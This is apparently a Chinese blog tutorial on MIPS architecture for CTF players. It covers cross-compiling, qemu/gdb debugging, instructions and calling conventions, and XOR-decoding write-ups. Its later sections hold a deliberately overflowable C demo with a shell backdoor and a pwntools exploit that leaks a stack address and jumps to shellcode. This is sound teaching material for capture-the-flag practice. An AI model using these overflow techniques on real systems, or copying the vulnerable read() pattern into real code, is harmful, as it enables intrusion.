简单的mips基础
0x01 前言
mips是另一种不同的架构何指令集,推荐使用ghidra和ida插件进行反汇编,同时还要掌握如何使用gdb去调试以及一些环境的安装之类的。
0x02 mips基础知识
我们并不能直接运行一个mips程序,而是根据不同情况(大小端)来使用不同方式运行,注意要安装相对环境才可以运行和编译
32位小端序:
mipsel-linux-gnu-gcc -g test.c -o test
32位大端序:
mips-linux-gnu-gcc -g test.c -o test
64位小端序:
mips64el-linux-gnuabi64-gcc -g test.c -o test
64位大端序:
mips64-linux-gnuabi64-gcc -g test.c -o test
gdb调试
新建终端后,执行32位小端序调试命令后不动
qemu-mipsel-static -L /usr/mipsel-linux-gnu -g 1234 ./test
再新建一个终端,轮流执行这几条指令(小端序)
gdb-multiarch set architecture mips set endian little target remote localhost:1234

像这样就gdb成功了
常见汇编讲解
lw (Load Word),从内存加载一个字到寄存器。lw $t0, 0($t1) # 从地址 $t1+0 处加载一个字到 $t0
li (Load Immediate)li 指令用于将一个立即数加载到寄存器中。li $t0, 10 # 将立即数 10 加载到寄存器 $t0
sw (Store Word)将一个字从寄存器存储到内存。sw $t0, 0($t1) # 将 $t0 的值存储到地址 $t1+0 处
add (Add)将两个寄存器的值相加,并将结果存储到一个寄存器。add $t0, $t1, $t2 # $t0 = $t1 + $t2
addi (Add Immediate)将一个寄存器的值与一个立即数相加,并将结果存储到一个寄存器。addi $t0, $t1, 10 # $t0 = $t1 + 10
sub (Subtract)将一个寄存器的值从另一个寄存器的值中减去,并将结果存储到一个寄存器。sub $t0, $t1, $t2 # $t0 = $t1 - $t2
and (Logical AND)对两个寄存器的值执行按位与操作,并将结果存储到一个寄存器。and $t0, $t1, $t2 # $t0 = $t1 & $t2
or (Logical OR)对两个寄存器的值执行按位或操作,并将结果存储到一个寄存器。or $t0, $t1, $t2 # $t0 = $t1 | $t2
xor (Logical XOR)对两个寄存器的值执行按位异或操作,并将结果存储到一个寄存器。xor $t0, $t1, $t2 # $t0 = $t1 ^ $t2
beq (Branch if Equal)如果两个寄存器的值相等,就跳转到指定的标签。beq $t0, $t1, label # 如果 $t0 == $t1,跳转到 label
bne (Branch if Not Equal)如果两个寄存器的值不相等,就跳转到指定的标签。bne $t0, $t1, label # 如果 $t0 != $t1,跳转到 label
j (Jump)无条件跳转到指定的标签。j label # 跳转到 label
jal (Jump and Link)跳转到指定的标签,并将返回地址存储在 $ra 寄存器中。jal label # 跳转到 label,并将返回地址存储在 $ra
jr (Jump Register)跳转到指定的寄存器地址。jr $ra # 跳转到 $ra 寄存器中存储的地址
寄存器

(图来自mips指令与寄存器详解_存储器字 mips-CSDN博客)
函数调用约定
函数调用的传参规定是如果函数的参数小于或者等于四个,那么会用 $a0 到 $a3 来存放参数。如果参数多于四个,那么多的参数则存放到栈里
同时函数还被区分为两类,叶子函数和非叶子函数,他们的区别在于它们对返回地址的处理方式:
叶子函数
-
不调用其他函数。
-
返回地址仅保存在
$ra寄存器中。 -
结束时用
jr $ra指令返回。
非叶子函数
-
调用其他函数。
-
需要保存
$ra寄存器的返回地址到栈中。 -
在结束时,从栈中恢复
$ra,然后用jr $ra返回。
在我们的这个demo中
#include<stdio.h> int more_reg(int a,int b,int c,int d,int e) { char dst[100]={0}; sprintf(dst,"%d%d%d%d%d\n",a,b,c,d,e); } int main() { int a1=1,a2=2,a3=3,a4=4,a5=5; more_reg(a1,a2,a3,a4,a5); return 0; }
可以看到前四个参数都是存在寄存器中

而第五个参数就存入栈中了

例题
[UTCTF2020]babymips
首先利用ghidra反汇编一下程序看看,按g可以跳转main函数看看

发现具体逻辑将一段东西赋值给austak_68,然后输入对比,点进去22行函数看一看

16行有一个简单的异或操作,尝试寻找一下param_1的数据,提取出来写一解密脚本就可以了。
data=[0x62, 0x6C, 0x7F, 0x76, 0x7A, 0x7B, 0x66, 0x73, 0x76, 0x50, 0x52, 0x7D, 0x40, 0x54, 0x55, 0x79, 0x40, 0x49, 0x47, 0x4D, 0x74, 0x19, 0x7B, 0x6A, 0x42, 0x0A, 0x4F, 0x52, 0x7D, 0x69, 0x4F, 0x53, 0x0C, 0x64, 0x10, 0x0F, 0x1E, 0x4A, 0x67, 0x03, 0x7C, 0x67, 0x02, 0x6A, 0x31, 0x67, 0x61, 0x37, 0x7A, 0x62, 0x2C, 0x2C, 0x0F, 0x6E, 0x17, 0x00, 0x16, 0x0F, 0x16, 0x0A, 0x6D, 0x62, 0x73, 0x25, 0x39, 0x76, 0x2E, 0x1C, 0x63, 0x78, 0x2B, 0x74, 0x32, 0x16, 0x20, 0x22, 0x44, 0x19] flag='' for i in range(len(data)): flag+=chr(data[i]^(i+23)) print(flag)
[QCTF2018]Xman-babymips
用ida反汇编一下

一个简单的异或

一个简单的移位运算,能反汇编看起来都很简单,根据这个写一下脚本,一开始没用&防止溢出,后面才发现要用&防止溢出,
利用&通过对 a[i] 和这些位掩码进行按位与操作,可以提取出 a[i] 的特定位。例如,a[i] & 0x3f 提取出 a[i] 的最低的六位,a[i] & 0xc0 提取出 a[i] 的最高的两位。
data = b"Q|j{g" flag = '' for i in range(5): flag += chr((data[i] ^ (32 - i))) print(flag) a=[0x52,0xfd,0x16,0xa4,0x89,0xbd,0x92,0x80,0x13,0x41,0x54,0xa0,0x8d,0x45,0x18,0x81,0xde,0xfc,0x95,0xf0,0x16,0x79,0x1a,0x15,0x5b,0x75,0x1f] for i in range(0,len(a)): if i%2==0: a[i]= (a[i]&0x3f) << 2 | (a[i]&0xc0) >> 6 flag+=chr(a[i]^0x20 - i-5) else: a[i]=(a[i]&0xfc) >> 2 | (a[i]&0x3 ) << 6 flag+=chr(a[i]^(32-i-5)) print(flag)
demo(简单栈溢出)
以及用的星盟文章(路由器初探之mips基础及mips栈溢出 - 星盟安全团队 (xmcve.com))里面的demo来展示一下简单的栈溢出
#include <stdio.h> #include <stdlib.h> #include <unistd.h> void bk(){ system("/bin/sh"); } void vuln(){ char a[20]; read(0, a, 0x100); } int main(int argc, char**argv){ vuln(); return 0; }
简单编译一下后检查安全性


一个非常简单的demo还写了一个后门,同时我们知道在mips中非子叶函数会把返回地址存在栈中,所以我们利用这个溢出到返回地址上再改写成我们想去的地址就行

Mplogin
给了libc文件很好,使我得内心旋转(,

检查一下保护机制,什么都没开

主要的程序就两段



可以看到在函数sub_400840中,返回的是v1的长度,v1就是我们输入的用户名,而strncmp只比较前n个字符是否相等,那我们可以用adminaaaa......来控制这个长度和打印出一些东西。同时第二个函数中可以看到第一个read明显溢出了,第二个read又是由我们控制读入长度的,最多可以读入28。调试一下看看会打印出什么


可以看到泄露出来的是栈顶地址,那我们直接写shellcode进入栈中然后返回这个栈顶地址就可以了

同时v2和v3差了0x14,可以利用第一个read溢出来控制第二个read的第三个参数则第二个read也可以溢出。
exp
from pwn import * context(arch='mips',endian='little',log_level='debug') io = process(["qemu-mipsel","-L","./","./Mplogin"]) payload = b"admin" + b'a'*19 io.sendafter("name : ",payload) io.recvuntil("a"*19) stack_addr = u32(io.recv(4)) log.info("stack_addr:"+ hex(stack_addr)) payload = b"access" + b'a'*14 + p32(0x100) io.sendafter("Pre_Password : ",payload) payload = b"0123456789"+b"a"*30+p32(stack_addr)+asm(shellcraft.sh()) io.sendafter("Password : ",payload) io.interactive()
0x03参考链接
《IoT从入门到入土》(1)--MIPS交叉编译环境搭建及其32位指令集 (yuque.com)

浙公网安备 33010602011771号